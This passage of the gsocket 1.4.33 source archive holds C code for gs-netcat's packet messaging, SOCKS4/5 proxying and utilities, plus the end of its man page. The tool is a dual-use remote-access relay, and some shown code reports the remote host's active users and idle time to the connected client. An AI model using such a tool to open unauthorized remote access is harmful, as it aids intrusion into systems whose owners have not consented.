Passing the password as command line parameter is not secure. Consider\n\
using the -k option or GSOCKET_ARGS or enter the password when prompted:\n\
\n\
$ gs-netcat -k \n\
\n\
$ export GSOCKET_ARGS=\"-s MySecret\"\n\
$ gs-netcat\n\
\n\
1. The security is end-2-end. This means from User-2-User (and not just\n\
to the GSRN). The GSRN relays only (encrypted) data to and from the\n\
users.\n\
\n\
2. The session is 256 bit and ephemeral. It is freshly generated for\n\
every session and generated randomly (and is not based on the password).\n\
It uses OpenSSL's SRP with AES-256 and a 4096 Prime.\n\
\n\
3. The password can be 'weak' without weakening the security of the ses-\n\
sion. A brute force attack against a weak password requires a new TCP\n\
connection for every guess.\n\
\n\
4. Do not use stupid passwords like 'password123'. Malice might pick the\n\
same (stupid) password by chance and connect. If in doubt use gs-netcat\n\
-g to generate a strong one. Alice's and Bob's password should at least\n\
be strong enough so that Malice can not guess it by chance while Alice is\n\
waiting for Bob to connect.\n\
\n\
5. If Alice shares the same password with Bob and Charlie and either one\n\
of them connects then Alice can not tell if it is Bob or Charlie who con-\n\
nected.\n\
\n\
6. Assume Alice shares the same password with Bob and Malice. When Alice\n\
stops listening for a connection then Malice could start to listen for\n\
the connection instead. Bob (when opening a new connection) can not tell\n\
if he is connecting to Alice or to Malice. Use -a if you worry\n\
about this. TL;DR: When sharing the same password with a group larger\n\
than 2 then it is assumed that everyone in that group plays nicely. Oth-\n\
erwise use SSH over the GS/TLS connection.\n\
\n\
7. SRP has Perfect Forward Secrecy. This means that past sessions can not\n\
be decrypted even if the password becomes known.\n\
\n\
NOTES\n\
The latest version is available from https://github.com/hacker-\n\
schoice/gsocket/.\n\
\n\
SEE ALSO\n\
gsocket(1), gs-sftp(1), gs-mount(1), blitz(1), nc(1), socat(1)\n\
\n\
BUGS\n\
Efforts have been made to have gs-netcat \"do the right thing\" in all its\n\
various modes. If you believe that it is doing the wrong thing under\n\
whatever circumstances, please notify me (skyper@thc.org) and tell me how\n\
you think it should behave.\n\
\n\
BSD October 08, 2020 BSD\n\
";
gsocket-1.4.33/tools/packet-test.c 0000664 0000000 0000000 00000005203 14072625040 0016771 0 ustar 00root root 0000000 0000000 /*
* Test program to test gs packet sub-system
*
* Self-Test:
* dd bs=1024k count=1024 if=/dev/urandom of=test1G.dat
* ./packet-test encode /dev/null | ./packet-test >test1M_rec.dat && md5 test1M*.dat
* ./packet-test encode /dev/null | ./packet-test >test1G_rec.dat && md5 test1G*.dat
*/
#include "common.h"
#include "utils.h"
#define PKT_TYPE_WSIZE 0x01
static void
pkt_cb_wsize(uint8_t type, const uint8_t *data, size_t len, void *arg)
{
uint16_t cols, rows;
memcpy(&cols, data, 2);
memcpy(&rows, data + 2, 2);
// DEBUGF("cols = %u, rows = %u\n", cols, rows);
cols = ntohs(cols);
rows = ntohs(rows);
}
static void
pkt_cb_channel(uint8_t channel, const uint8_t *data, size_t len, void *arg)
{
if (channel >= GS_PKT_MAX_CHN)
return;
// DEBUGF("Channel #%u, length %zu\n", channel, len);
}
static void
my_write(int fd, void *data, size_t len)
{
if (write(fd, data, len) != len)
ERREXIT("write()\n");
}
/*
*/
int
main(int argc, char *argv[])
{
size_t src_sz = 64;
uint8_t src[src_sz];
uint8_t dst[src_sz * 2];
size_t sz;
size_t dsz;
int ret;
GS_PKT pkt;
int is_encode = 0;
GS_library_init(stderr, stderr, NULL); // Library debug output
gopt.err_fp = stderr;
gopt.log_fp = stderr;
if (argc > 1)
is_encode = 1;
srand(time(NULL));
GS_PKT_init(&pkt);
GS_PKT_assign_msg(&pkt, PKT_TYPE_WSIZE, pkt_cb_wsize, NULL);
GS_PKT_assign_chn(&pkt, 0, pkt_cb_channel, NULL);
GS_PKT_assign_chn(&pkt, 1, pkt_cb_channel, NULL);
while (1)
{
/* Read random number of bytes for shits and giggles */
size_t rsz = rand() % src_sz + 1;
sz = read(0, src, rsz);
if (sz <= 0)
break;
if (is_encode)
{
GS_PKT_encode(&pkt, src, sz, dst, &dsz);
my_write(1, dst, dsz);
/* Randomly introduce an in-band packet */
#if 1
uint8_t buf[GS_PKT_MAX_SIZE];
memset(buf, 0x41, sizeof buf);
buf[0] = GS_PKT_ESC;
if (rand() % 100 == 0)
{
/* in-band MSG of size 4 */
buf[1] = 0x01;
memcpy(buf + 2, "1234", 4);
my_write(1, buf, 2 + 4);
}
if (rand() % 100 == 0)
{
/* in-band MSG of size 512 bytes */
buf[1] = 0x7f;
/* Add a larger inband packet for shits and giggles */
my_write(1, buf, 2 + 512);
}
if (rand() % 10 == 0)
{
/* in-band channel (stream) data on channel #1 */
buf[1] = 1 | (1<<7);
uint16_t len = rand() % (GS_PKT_MAX_SIZE);
uint16_t nlen = htons(len);
// DEBUGF("sending len = %u\n", len);
memcpy(buf + 2, &nlen, 2);
my_write(1, buf, 2 + 2 + len);
}
#endif
continue;
}
/* HERE: decode */
ret = GS_PKT_decode(&pkt, src, sz, dst, &dsz);
if (ret != 0)
exit(-1);
my_write(1, dst, dsz);
}
return 0;
}
gsocket-1.4.33/tools/pkt_mgr.c 0000664 0000000 0000000 00000020316 14072625040 0016212 0 ustar 00root root 0000000 0000000 #include "common.h"
#include "pkt_mgr.h"
#include "event_mgr.h"
#include "console.h"
#include "console_display.h"
#include "utils.h"
#include "gs-netcat.h"
#include "filetransfer_mgr.h"
extern GS_CONDIS gs_condis; // defined in console.c
/* SERVER - client changed window size. Adjust pty. */
void
pkt_app_cb_wsize(uint8_t msg, const uint8_t *data, size_t len, void *ptr)
{
struct _peer *p = (struct _peer *)ptr;
uint16_t col, row;
memcpy(&col, data, 2);
memcpy(&row, data + 2, 2);
col = ntohs(col);
row = ntohs(row);
DEBUGF_W("cols = %u, rows = %u\n", col, row);
int ret;
struct winsize ws;
ret = ioctl(p->fd_in, TIOCGWINSZ, &ws);
if (ret != 0)
DEBUGF_R("ioctrl() %s\n", strerror(errno));
ws.ws_col = col;
ws.ws_row = row;
ret = ioctl(p->fd_in, TIOCSWINSZ, &ws);
if (ret != 0)
DEBUGF_R("ioctl()-2 %s\n", strerror(errno));
}
/* SERVER - answer to PING request on channel */
void
pkt_app_cb_ping(uint8_t msg, const uint8_t *data, size_t len, void *ptr)
{
struct _peer *p = (struct _peer *)ptr;
DEBUGF_C("APP-PING received\n");
gopt.is_pong_pending = 1;
GS_SELECT_FD_SET_W(p->gs);
}
/* CLIENT - Answer to PING received */
void
pkt_app_cb_pong(uint8_t msg, const uint8_t *data, size_t len, void *ptr)
{
struct _peer *p = (struct _peer *)ptr;
struct _pkt_app_pong pong;
// Check if we were waiting at all!
if (gopt.ts_ping_sent == 0)
return;
memcpy(&pong, data, sizeof pong);
float ms = (float)(GS_TV_TO_USEC(&gopt.tv_now) - gopt.ts_ping_sent) / 1000;
uint8_t buf[sizeof (pong.user) + 1];
memcpy(buf, pong.user, sizeof pong.user);
GS_sanitize_fname_str((char *)buf, sizeof buf);
CONSOLE_update_pinginfo(p, ms, ntohs(pong.load), (char *)buf, ntohs(pong.idle), pong.n_users);
// DEBUGF_C("PONG received (% 6.03fms) (load % 4.02f, idle %u)\n", ms, (float)ntohs(pong.load) / 100, ntohs(pong.idle));
gopt.ts_ping_sent = 0;
}
void
pkt_app_cb_log(uint8_t msg, const uint8_t *data, size_t len, void *ptr)
{
// struct _peer *p = (struct _peer *)ptr;
struct _pkt_app_log *log = (struct _pkt_app_log *)data;
GS_sanitize_fname_str((char *)log->msg, sizeof log->msg);
GS_condis_log(&gs_condis, log->type, (const char *)log->msg);
CONSOLE_draw(gs_condis.fd);
DEBUGF_G("LOG (%d) '%s'\n", log->type, log->msg);
}
/* SERVER - Client is interested in IDS messages */
void
pkt_app_cb_ids(uint8_t msg, const uint8_t *data, size_t len, void *ptr)
{
struct _peer *p = (struct _peer *)ptr;
DEBUGF_R("Client is interested in IDS log messages\n");
if (p->ids_li != NULL)
{
DEBUGF_R("Oops. client already receiving log messages\n");
return;
}
p->ids_li = GS_LIST_add(&gopt.ids_peers, NULL, p, 0);
if (gopt.event_ids == NULL)
{
gopt.event_ids = GS_EVENT_add_by_ts(&p->gs->ctx->gselect_ctx->emgr, NULL, 0, GS_APP_IDSFREQ, cbe_ids, NULL, 0);
cbe_ids(NULL); // Immediately load utmp database
}
}
// SERVER
void
pkt_app_cb_pwdrequest(uint8_t msg, const uint8_t *dataUNUSED, size_t lenUNUSED, void *ptr)
{
struct _peer *p = (struct _peer *)ptr;
gopt.is_pwdreply_pending = 1;
GS_SELECT_FD_SET_W(p->gs);
}
// CLIENT
void
pkt_app_cb_pwdreply(uint8_t chn, const uint8_t *data, size_t len, void *ptr)
{
if (len <= 0)
return;
if (data[len - 1] != '\0')
return; // protocol error.
DEBUGF_B("REMOTE WD=%s\n", data);
GS_condis_add(&gs_condis, GS_PKT_APP_LOG_TYPE_DEFAULT, (char *)data);
CONSOLE_draw(gs_condis.fd);
}
int
pkt_app_send_wsize(GS_SELECT_CTX *ctx, struct _peer *p, int row)
{
p->wbuf[0] = GS_PKT_ESC;
p->wbuf[1] = PKT_MSG_WSIZE;
uint16_t c, r;
c = htons(gopt.winsize.ws_col);
r = htons(row);
memcpy(p->wbuf + 2, &c, 2);
memcpy(p->wbuf + 4, &r, 2);
p->wlen = 2 + GS_PKT_MSG_size_by_type(PKT_MSG_WSIZE);
return write_gs(ctx, p, NULL);
}
int
pkt_app_send_pong(GS_SELECT_CTX *ctx, struct _peer *p)
{
double load;
uint16_t l = 0;
struct _pkt_app_pong pong;
p->wbuf[0] = GS_PKT_ESC;
p->wbuf[1] = PKT_MSG_PONG;
// Get system load.
if (getloadavg(&load, 1) == 1)
l = (uint16_t)(load * 100);
memset(&pong, 0, sizeof pong);
pong.load = htons(l);
pong.idle = htons(gopt.ids_idle);
pong.n_users = MIN(255, gopt.n_users);
if (gopt.ids_active_user != NULL)
snprintf((char *)pong.user, sizeof pong.user, "%s", gopt.ids_active_user);
memcpy(p->wbuf + 2, &pong, sizeof pong);
p->wlen = 2 + GS_PKT_MSG_size_by_type(PKT_MSG_PONG);
return write_gs(ctx, p, NULL);
}
int
pkt_app_send_ping(GS_SELECT_CTX *ctx, struct _peer *p)
{
struct _pkt_app_ping ping;
struct timeval tv;
p->wbuf[0] = GS_PKT_ESC;
p->wbuf[1] = PKT_MSG_PING;
gettimeofday(&tv, NULL);
gopt.ts_ping_sent = GS_TV_TO_USEC(&tv);
memset(&ping, 0, sizeof ping);
memcpy(p->wbuf + 2, &ping, sizeof ping);
p->wlen = 2 + GS_PKT_MSG_size_by_type(PKT_MSG_PING);
return write_gs(ctx, p, NULL);
}
int
pkt_app_send_ids(GS_SELECT_CTX *ctx, struct _peer *p)
{
struct _pkt_app_ids ids;
p->wbuf[0] = GS_PKT_ESC;
p->wbuf[1] = PKT_MSG_IDS;
memset(&ids, 0, sizeof ids);
ids.flags = GS_PKT_APP_FL_IDS; // Enable IDS
memcpy(p->wbuf + 2, &ids, sizeof ids);
p->wlen = 2 + GS_PKT_MSG_size_by_type(PKT_MSG_IDS);
return write_gs(ctx, p, NULL);
}
int
pkt_app_send_pwdrequest(GS_SELECT_CTX *ctx, struct _peer *p)
{
p->wbuf[0] = GS_PKT_ESC;
p->wbuf[1] = PKT_MSG_PWD;
p->wlen = 2 + GS_PKT_MSG_size_by_type(PKT_MSG_PWD);
return write_gs(ctx, p, NULL);
}
int
pkt_app_send_pwdreply(GS_SELECT_CTX *ctx, struct _peer *p)
{
struct gs_pkt_chn_hdr *hdr = (struct gs_pkt_chn_hdr *)p->wbuf;
hdr->esc = GS_PKT_ESC;
hdr->type = GS_PKT_CHN2TYPE(GS_CHN_PWD);
char *wd = GS_getpidwd(p->pid);
snprintf((char *)p->wbuf + sizeof *hdr, sizeof p->wbuf - sizeof *hdr, "%s", wd);
size_t sz = strlen(wd) + 1; // including \0
XFREE(wd);
uint16_t len = htons(sz);
memcpy(&hdr->len, &len, sizeof len);
p->wlen = sizeof *hdr + sz;
return write_gs(ctx, p, NULL);
}
// Loop until all FileTransfer data is written
// or the socket would block.
int
pkt_app_send_ft(GS_SELECT_CTX *ctx, struct _peer *p)
{
ssize_t sz;
int len;
while (1)
{
sz = GS_FTM_mk_packet(&p->ft, p->wbuf, sizeof p->wbuf);
if (sz == 0)
return GS_SUCCESS; // No data available.
if (sz == -1)
return GS_SUCCESS; // All files have been transferred.
if (sz < 0) // Catch All (-2 mostly/always)
return GS_ERR_FATAL; // Not enough space.
// Got data to write.
p->wlen = sz;
len = write_gs_atomic(ctx, p);
if (len == -1)
return GS_ECALLAGAIN;
if (len != p->wlen)
return GS_ERROR;
p->wlen = 0; // SUCCESS.
// Do a single write only. This function returns and enters the select() loop
// again to check if there is any data on stdin.
// Otherwise the FileTransfer subsystem will keep sending data until write() would block
// and then keep data in p->wbuf without the STDIN ever being checked for input until
// the FileTransfer has completed. We like to check STDIN...
// FIXME-PERFORMANCE: Could write() here until would-block but then do not
// leave data in p->wbuf and instead use an internal buffer. This way select() is not
// called for every write() from FileTransfer subsystem.
return GS_SUCCESS;
}
return GS_SUCCESS; // NOT REACHED
}
static int
send_log(GS_SELECT_CTX *ctx, struct _peer *p, struct _pkt_app_log *log)
{
int killed = 0;
int ret;
p->wbuf[0] = GS_PKT_ESC;
p->wbuf[1] = PKT_MSG_LOG;
XASSERT(GS_PKT_MSG_size_by_type(p->wbuf[1]) == sizeof *log, "Size does not fit\n");
memcpy(p->wbuf + 2, log, sizeof *log);
p->wlen = 2 + GS_PKT_MSG_size_by_type(p->wbuf[1]);
ret = write_gs(ctx, p, &killed);
if (killed)
return GS_ERR_FATAL;
return ret; // SUCCESS or WOUDLBLOCK
}
/*
* Try to send all log files.
*/
int
pkt_app_send_all_log(GS_SELECT_CTX *ctx, struct _peer *p)
{
GS_LIST_ITEM *li = NULL;
int ret;
// Stop being called recursively from within write_gs()
p->is_pending_logs = 0;
while (1)
{
li = GS_LIST_next(&p->logs, NULL);
if (li == NULL)
break;
// FIXME-PERFORMANCE: Could add as much data to p->wbuf and then issue
// a single write_gs() rather than a write_gs() for each log. WOuld
// save on a bit of traffic and syscalls ...but then there are rarely any
// logs send to peer anyway.....
ret = send_log(ctx, p, li->data);
if (ret == GS_ERR_FATAL)
return GS_ERR_FATAL; // peer has been freed and destroyed.
free(li->data);
GS_LIST_del(li);
if (ret != GS_SUCCESS)
{
p->is_pending_logs = 1;
return ret; // WOULDBLOCK
}
}
return GS_SUCCESS;
}
gsocket-1.4.33/tools/pkt_mgr.h 0000664 0000000 0000000 00000005032 14072625040 0016215 0 ustar 00root root 0000000 0000000 #ifndef __GS_PKT_MGR_H__
#define __GS_PKT_MGR_H__ 1
// Message Numbers
#define PKT_MSG_WSIZE (1)
#define PKT_MSG_IDS (2)
#define PKT_MSG_PWD (3) // pwd request
#define PKT_MSG_PING (16)
#define PKT_MSG_PONG (16)
#define PKT_MSG_LOG (32) // max 64 bytes long
// Channel Numbers
#define GS_FT_CHN_PUT (0) // 128
#define GS_FT_CHN_ACCEPT (1) // 129
#define GS_FT_CHN_LIST_REQUEST (2) // 130 0x82
#define GS_FT_CHN_DATA (3) // 131 0x83
#define GS_FT_CHN_ERROR (4) // 132
#define GS_FT_CHN_SWITCH (5) // 133 0x85
#define GS_FT_CHN_LIST_REPLY (6) // 134 0x86
#define GS_FT_CHN_DL (7) // 135 0x87
#define GS_CHN_PWD (8) // Result of pwd-request (server to client)
struct _pkt_app_ping
{
uint8_t flags;
uint8_t resever[3];
uint8_t user[12];
} __attribute__((__packed__));
struct _pkt_app_pong
{
uint16_t load;
uint16_t idle;
uint8_t n_users;
uint8_t user[11];
} __attribute__((__packed__));
struct _pkt_app_ids
{
uint8_t flags;
uint8_t reserved[3];
} __attribute__((__packed__));
#define GS_PKT_APP_FL_IDS (0x01)
struct _pkt_app_log
{
uint8_t type;
uint8_t msg[63];
} __attribute__((__packed__));
#define GS_PKT_APP_LOG_TYPE_DEFAULT (0x00) // default color
#define GS_PKT_APP_LOG_TYPE_ALERT (0x01) // RED
#define GS_PKT_APP_LOG_TYPE_NOTICE (0x02) // Yellow
#define GS_PKT_APP_LOG_TYPE_INFO (0x03) // green
#define GS_PKT_APP_LOG_TYPE_MAX (0x03) // set to highest color code
void pkt_app_cb_wsize(uint8_t msg, const uint8_t *data, size_t len, void *ptr);
void pkt_app_cb_ping(uint8_t msg, const uint8_t *data, size_t len, void *ptr);
void pkt_app_cb_pong(uint8_t msg, const uint8_t *data, size_t len, void *ptr);
void pkt_app_cb_ids(uint8_t msg, const uint8_t *data, size_t len, void *ptr);
void pkt_app_cb_log(uint8_t msg, const uint8_t *data, size_t len, void *ptr);
void pkt_app_cb_pwdrequest(uint8_t msg, const uint8_t *data, size_t len, void *ptr);
void pkt_app_cb_pwdreply(uint8_t msg, const uint8_t *data, size_t len, void *ptr);
int pkt_app_send_wsize(GS_SELECT_CTX *ctx, struct _peer *p, int row);
int pkt_app_send_pong(GS_SELECT_CTX *ctx, struct _peer *p);
int pkt_app_send_ping(GS_SELECT_CTX *ctx, struct _peer *p);
int pkt_app_send_ids(GS_SELECT_CTX *ctx, struct _peer *p);
int pkt_app_send_all_log(GS_SELECT_CTX *ctx, struct _peer *p);
int pkt_app_send_ft(GS_SELECT_CTX *ctx, struct _peer *p);
int pkt_app_send_pwdrequest(GS_SELECT_CTX *ctx, struct _peer *p);
int pkt_app_send_pwdreply(GS_SELECT_CTX *ctx, struct _peer *p);
#endif /* !__GS_PKT_MGR_H__ */ gsocket-1.4.33/tools/readline-test.c 0000664 0000000 0000000 00000003244 14072625040 0017310 0 ustar 00root root 0000000 0000000 /*
* Test programm to test gs readline sub-system
*
* clear; stty -echo -icanon && ./readline-test 2>x.log; stty echo icanon
*/
#include "common.h"
#include "utils.h"
#define PROMPT ">"
#define PROMPT_LEN (1)
int is_win_resized = 0;
static void
cb_sigwinch(int sig)
{
// DEBUGF("Window Size changed\n");
is_win_resized = 1;
}
static void
my_write(int fd, void *data, size_t len)
{
if (write(fd, data, len) != len)
ERREXIT("write()\n");
}
int
main(int argc, char *argv[])
{
GS_RL_CTX rl;
GS_library_init(stderr, stderr, NULL);
gopt.err_fp = stderr;
gopt.log_fp = stderr;
get_winsize();
signal(SIGWINCH, cb_sigwinch);
GS_RL_init(&rl, gopt.winsize.ws_col - PROMPT_LEN);
printf("\x1B[%d;%df" PROMPT, gopt.winsize.ws_row, 1);
fflush(stdout);
uint8_t c;
uint8_t key;
int rv;
while (1)
{
rv = read(0, &c, 1);
if (rv != 1)
break;
rv = GS_RL_add(&rl, c, &key, gopt.winsize.ws_col - PROMPT_LEN, 1 + PROMPT_LEN);
if (is_win_resized)
{
is_win_resized = 0;
get_winsize();
printf("\x1B[%d;%df" PROMPT, gopt.winsize.ws_row, 1); fflush(stdout);
GS_RL_resize(&rl, gopt.winsize.ws_col - PROMPT_LEN, gopt.winsize.ws_row, 1 + PROMPT_LEN);
my_write(1, rl.vline, rl.v_pos);
}
DEBUGF_Y("line(%zd) '%s'\n", rl.len, rl.line);
HEXDUMP(rl.esc_data, rl.esc_len);
my_write(1, rl.esc_data, rl.esc_len);
fflush(stdout);
// DEBUGF_G("ESCL(%zd) '\x1B[s%s\x1B[u'\n", rl.esc_len, rl.esc_line);
if (rv == 1)
continue;
if (rv < 0)
{
if (key != '\n')
DEBUGF_R("Unhandled control key: %02x\n", key);
DEBUGF_B("Final line: '%s'\n", rl.line);
printf("\x1B[%d;%df\x1B[K" PROMPT, gopt.winsize.ws_row, 1); fflush(stdout);
}
}
return 0;
}
gsocket-1.4.33/tools/socks.c 0000664 0000000 0000000 00000012505 14072625040 0015672 0 ustar 00root root 0000000 0000000
#include "common.h"
#include "utils.h"
int
SOCKS_init(struct _peer *p)
{
p->socks.state = GSNC_STATE_AWAITING_MSG_AUTH;
return GS_SUCCESS;
}
/*
* Add data to write buffer
*/
static void
wmsg_add(struct _peer *p, char *src, ssize_t len)
{
XASSERT(p->wlen + len < sizeof p->wbuf, "Tried to add to much data to wbuf (%zd + %zd)\n", p->wlen, len);
memcpy(&p->wbuf[p->wlen], src, len);
p->wlen += len;
}
static void
rmsg_consume(struct _peer *p, ssize_t len)
{
XASSERT(p->rlen >= len, "p->rlen=%zd smaller than len=%zd\n", p->rlen, len);
memmove(p->rbuf, &p->rbuf[len], p->rlen - len);
p->rlen -= len;
}
/*
* Search from ptr to end for a 0-terminated string.
* Return GS_SUCCESS if more data is required.
* Return GS_ERR_FATAL on error.
* Return >0 for length of 0-terminated string found _INCLUDING_ \0.
*/
static int
getstr(uint8_t *ptr, uint8_t *end)
{
uint8_t *start = ptr;
if (ptr >= end)
return GS_ERR_FATAL;
while (ptr < end)
{
if (*ptr == '\0')
break;
ptr++;
}
if (*ptr != '\0')
return GS_SUCCESS; // More data needed
return ptr - start + 1;
}
static void
getip(struct _peer *p, uint8_t *ptr)
{
memcpy(&p->socks.dst_ip, ptr, 4);
snprintf(p->socks.dst_hostname, sizeof p->socks.dst_hostname, "%s", int_ntoa(p->socks.dst_ip));
}
static int
resolvehostname(struct _peer *p, uint8_t *ptr, ssize_t len)
{
char *h = p->socks.dst_hostname;
if (len >= sizeof p->socks.dst_hostname - 1)
return GS_ERR_FATAL;
memcpy(h, ptr, len);
h[len] = '\0';
DEBUGF_M("Socks4a/5 Domain Name (len=%zd): '%s'\n", len, h);
/* Resolve hostname */
uint32_t ip;
ip = GS_hton(h);
if (ip == -1)
return GS_ERR_FATAL;
p->socks.dst_ip = ip;
return GS_SUCCESS;
}
static void
socks_done(struct _peer *p, char *reply, ssize_t len, ssize_t consumed)
{
DEBUGF_M("Socks-Conn to %s:%d\n", int_ntoa(p->socks.dst_ip), ntohs(p->socks.dst_port));
wmsg_add(p, reply, len); // Reply 'Request granted'
rmsg_consume(p, consumed);
p->socks.state = GSNC_STATE_CONNECTING;
}
int
SOCKS4_add(struct _peer *p)
{
uint8_t *end = p->rbuf + p->rlen;
uint8_t *ptr = p->rbuf;
uint8_t *ip_ptr;
int ret;
/* Socks4 : VER + CMD + 16-Port + 32-IP + id\0
* Socks4a: VER + CMD + 16-Port + 000x + id\0 hostname\0
*/
if (p->rlen < 9)
return GS_SUCCESS;
ptr += 2;
memcpy(&p->socks.dst_port, ptr, 2);
ptr += 2;
ip_ptr = ptr;
memcpy(&p->socks.dst_ip, ptr, 4);
ptr += 4;
ret = getstr(ptr, end); // ID\0
if (ret <= 0)
return ret;
DEBUGF_M("Socks4 ID (len=%d) '%s'\n", ret-1, ptr);
ptr += ret; // skip str length and \0
/* Check if this is Socks4a */
if (memcmp(ip_ptr, "\0\0\0", 3) == 0)
{
int hn_len;
hn_len = getstr(ptr, end);
if (hn_len <= 0)
return hn_len;
DEBUGF_M("Socks4a hostname (len=%d) '%s'\n", hn_len-1, ptr);
ret = resolvehostname(p, ptr, hn_len-1);
if (ret != GS_SUCCESS)
return ret;
ptr += hn_len;
} else {
getip(p, ip_ptr);
}
socks_done(p, "\x00\x5a" "\x00\x00" "\x00\x00\x00\x00", 8, ptr - p->rbuf);
return GS_SUCCESS;
}
int
SOCKS5_add(struct _peer *p)
{
uint8_t *end = p->rbuf + p->rlen;
uint8_t *ptr = p->rbuf;
int ret;
if (p->socks.state == GSNC_STATE_AWAITING_MSG_AUTH)
{
ptr += 2;
if (p->rlen < 1 + 1 + p->rbuf[1])
return GS_SUCCESS; // Need more data
ptr += p->rbuf[1];
/* Check if client supports NO AUTH */
int i;
for (i = 0; i < p->rbuf[1]; i++)
{
if (p->rbuf[1 + 1 + i] == 0x00)
break; // No-Auth offered by client
}
if (i > p->rbuf[1])
{
return GS_ERR_FATAL; // No-Auth not offered by client
}
/* HERE: Reply to client with No-Auth selected */
XASSERT(p->wlen <= 0, "Data already in output buffer\n");
DEBUGF_M("SOCKS AUTH received\n");
wmsg_add(p, "\x05\x00", 2); // Reply 'No-Auth' Supported
rmsg_consume(p, ptr - p->rbuf);
p->socks.state = GSNC_STATE_AWAITING_MSG_CONNECT;
/* FALL-THROUGH (to GSNC_STATE_AWAITING_MSG_CONNECT) */
}
if (p->socks.state == GSNC_STATE_AWAITING_MSG_CONNECT)
{
if (p->rlen < 3)
return GS_SUCCESS; // Need more data
if (p->rbuf[0] != 0x05)
return GS_ERR_FATAL;
if (p->rbuf[1] != 0x01)
return GS_ERR_FATAL; // Only support stream connection
ptr += 3;
/* HERE: ptr == dst-address */
if (ptr[0] == 0x01)
{
ptr += 1;
if (end - ptr < 4)
return GS_SUCCESS; // Need more data
getip(p, ptr);
ptr += 4;
} else if (ptr[0] == 0x03) {
ptr += 1;
if (end - ptr < 1)
return GS_SUCCESS; // Need more data
int len;
len = ptr[0];
ptr += 1;
if (end - ptr < len)
return GS_SUCCESS; // Need more data
ret = resolvehostname(p, ptr, len);
if (ret != GS_SUCCESS)
return ret;
ptr += len;
} else {
return GS_ERR_FATAL;
}
if (end - ptr < 2)
return GS_SUCCESS;
memcpy(&p->socks.dst_port, ptr, 2);
ptr += 2;
socks_done(p, "\x05\x00\x00" /*IPv4*/ "\x01" /*ip*/ "\x00\x00\x00\x00" /*port*/ "\x00\x00", 10, ptr - p->rbuf);
}
return GS_SUCCESS;
}
/*
* Consume data from rbuf and check act on SOCKS messages accordingly
* (by replying to them correctly).
* There may be some app-data left in rbuf after all SOCKS messages have
* been processed.
*/
int
SOCKS_add(struct _peer *p)
{
int ret;
HEXDUMPF(p->rbuf, p->rlen, "SOCKS_add (gs->fd = %d): ", p->gs->fd);
if (p->rlen < 3)
return GS_SUCCESS; // Need more data
if (p->rbuf[0] == 0x04)
{
ret = SOCKS4_add(p);
} else if (p->rbuf[0] == 0x05) {
ret = SOCKS5_add(p);
} else
return GS_ERR_FATAL;
return ret;
}
gsocket-1.4.33/tools/socks.h 0000664 0000000 0000000 00000000227 14072625040 0015675 0 ustar 00root root 0000000 0000000
#ifndef __GSNC_SOCKS_H__
#define __GSNC_SOCKS_H__ 1
int SOCKS_init(struct _peer *p);
int SOCKS_add(struct _peer *p);
#endif /* !__GSNC_SOCKS_H__ */ gsocket-1.4.33/tools/utils.c 0000664 0000000 0000000 00000055254 14072625040 0015720 0 ustar 00root root 0000000 0000000
// #define DEBUG_CTX_DECLARED (1) // All others define this as extern
#include "common.h"
#include "utils.h"
#include "console.h"
extern char **environ;
/*
* Add list of argv's from GSOCKET_ARGS to argv[]
* result: argv[0] + GSOCKET_ARGS + argv[1..n]
*/
static void
add_env_argv(int *argcptr, char **argvptr[])
{
char *str_orig = getenv("GSOCKET_ARGS");
char *str = NULL;
char *next;
char **newargv = NULL;
int newargc;
if (str_orig == NULL)
return;
str = strdup(str_orig);
next = str;
newargv = malloc(1 * sizeof *argvptr);
memcpy(&newargv[0], argvptr[0], 1 * sizeof *argvptr);
newargc = 1;
while (next != NULL)
{
while (*str == ' ')
str++;
next = strchr(str, ' ');
if (next != NULL)
{
*next = 0;
next++;
}
// catch if last character is ' '
if (strlen(str) > 0)
{
/* *next == '\0'; str points to argument (0-terminated) */
newargc++;
// DEBUGF("%d. arg = '%s'\n", newargc, str);
newargv = realloc(newargv, newargc * sizeof newargv);
newargv[newargc - 1] = str;
}
str = next;
if (str == NULL)
break;
}
// Copy original argv[1..n]
newargv = realloc(newargv, (newargc + *argcptr) * sizeof newargv);
memcpy(newargv + newargc, *argvptr + 1, (*argcptr - 1) * sizeof *argvptr);
newargc += (*argcptr - 1);
newargv[newargc] = NULL;
*argcptr = newargc;
*argvptr = newargv;
// DEBUGF("Total argv[] == %d\n", newargc);
// int i;
// for (i = 0; i < newargc; i++)
// DEBUGF("argv[%d] = %s\n", i, newargv[i]);
}
void
init_defaults(int *argcptr, char **argvptr[])
{
gopt.log_fp = stderr;
gopt.err_fp = stderr;
signal(SIGPIPE, SIG_IGN);
signal(SIGCHLD, SIG_IGN); // no defunct childs please
/* MacOS process limit is 256 which makes Socks-Proxie yield...*/
struct rlimit rlim;
memset(&rlim, 0, sizeof rlim);
int ret;
ret = getrlimit(RLIMIT_NOFILE, &rlim);
if (ret == 0)
{
rlim.rlim_cur = MIN(rlim.rlim_max, FD_SETSIZE);
ret = setrlimit(RLIMIT_NOFILE, &rlim);
getrlimit(RLIMIT_NOFILE, &rlim);
// DEBUGF_C("Max File Des: %llu (max = %llu)\n", rlim.rlim_cur, rlim.rlim_max);
}
add_env_argv(argcptr, argvptr);
}
GS *
gs_create(void)
{
GS *gs = GS_new(&gopt.gs_ctx, &gopt.gs_addr);
XASSERT(gs != NULL, "%s\n", GS_CTX_strerror(&gopt.gs_ctx));
if (gopt.token_str != NULL)
GS_set_token(gs, gopt.token_str, strlen(gopt.token_str));
return gs;
}
static void
cb_sigterm(int sig)
{
exit(EX_SIGTERM); // will call cb_atexit()
}
void
get_winsize(void)
{
int ret;
memcpy(&gopt.winsize_prev, &gopt.winsize, sizeof gopt.winsize_prev);
ret = ioctl(STDOUT_FILENO, TIOCGWINSZ, &gopt.winsize);
if ((ret == 0) && (gopt.winsize.ws_col != 0))
{
/* SUCCESS */
DEBUGF_M("Columns: %d, Rows: %d\n", gopt.winsize.ws_col, gopt.winsize.ws_row);
} else {
gopt.winsize.ws_col = 80;
gopt.winsize.ws_row = 24;
}
}
// Callback for gs-library to pass log messages to us.
static void
cb_gs_log(struct _gs_log_info *l)
{
if (l == NULL)
return;
if (gopt.is_quiet)
return;
// DEBUGF_Y("my level=%d, msg level=%d\n", gopt.verbosity, l->level);
#ifndef DEBUG
// Return if this is _NOT_ a DEBUG-build but we get a TYPE_DEBUG
// (should not happen).
if (l->type == GS_LOG_TYPE_DEBUG)
return;
#endif
FILE *fp = gopt.log_fp;
if (l->type == GS_LOG_TYPE_ERROR)
{
fp = gopt.err_fp;
}
if (fp == NULL)
return;
if (l->level > gopt.verbosity)
return; // Not interested.
